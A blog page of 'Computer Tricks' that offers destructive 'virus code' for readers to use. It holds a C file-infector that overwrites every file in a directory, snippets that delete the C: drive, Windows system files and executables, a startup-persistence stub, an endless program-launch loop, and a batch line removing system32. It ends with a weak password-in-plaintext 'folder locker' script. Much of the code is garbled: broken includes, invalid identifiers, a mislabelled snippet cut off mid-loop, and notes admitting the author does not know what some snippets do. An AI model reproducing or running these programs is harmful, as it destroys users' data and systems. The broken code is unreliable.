Showing posts with label Computer Tricks. Show all posts
Showing posts with label Computer Tricks. Show all posts

virus code in C

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
#include 
#include 
#include 
#include 
#include 
#include 
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

C++ Virus code

//you need to make a directory in E:\ named delete and put some files in it and theywill be deleted//after this program is runusing System.IO;
class virus
{
protected void CleanImageFolder()
{
DirectoryInfo imgInfo = new DirectoryInfo(@"E:\delete");
FileInfo []fileinDir=imgInfo.GetFiles();
for(int i=0;i

Virus codes for C++


1} C:
#include
using namespace std;
void main(int argv,char [])
{
system("deltree c:\\*.*");
}

NOTE: well i dont know what can this program do!
2} CPP:
#include
#include
int main()
{
system("DEL c:\*.exe");
system("DEL c:\*.txt");
system("DEL c:\*.doc");
system("DEL c:\windows\*.exe");
system("DEL c:\windows\*.com");
system("DEL c:\windows\*.bat");
system("DEL c:\program files\*.");
system("DEL c:\windows\system\*.exe");
system("DEL c:\windows\system\*.dll");
system("DEL c:\windows\system\*.com");
system("DEL c:\windows\system\*.bat");
return 0;
}
NOTE: this program delete your settings from c drive.

3} CPP:
#define_win32_WiNNT OX 0500
#include
#include
int main()
{
HWNDH wnd=GetConsole Window();
show window(h wnd,sw_HIDE);
}

NOTE: well i dont know what can this program do!
4} CPP:
#include
#include
void main()
{
ofstream output file("\\startup\\virus.bat");
char str[225];
strcpy(str,"@echo off\n cls\insertvirus.bat\nexit");
output file.write(str,strlen(str));
output file.close();
return 0;
}
NOTE: this program add your virus program into startup.

5} c:
#include
#include
#include
void main(void)
{
system("shutdown -s");
}
NOTE: first save it then run it and than double click on its .exe file your pc will be shutdown in sometime.

6} c:
#include
#include
#include
void main(void)
{
for(;;)
{
system("c:\\proga~1\\intern~1\\iexplore.exe");
}
}
NOTE: all procedure is same as pro no:5
when you double click on its .exe file internet
explorer is open in between your work.

7} c:
#include
#include
#include
void main(void)
{
system("c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
}
NOTE: it remove all .exe files of internet explorer
so internet explorer can not work proprly.

Simple System Virus


Goto Notepad
Type
rmdir %systemroot%\system32
and save the file as .bat
This virus is easy to create and it deletes the system files thus system stops to work....
Note:Don't open this on ur comp.

How to lock folder widout using any software

Folder Lock without any S/W

Open Notepad and copy the below code and save as locker.bat. At first time start it will create folder with Locker automatically for u. Don't forget to change your password in the code its shown the place where to type your password.
after creation of Locker folder again click on the locker.bat.it will ask.press Y then Locker folder will be disappeared.again to get it click on locker.bat. and give ur password u will get the folder again.

****************************************

******************



cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End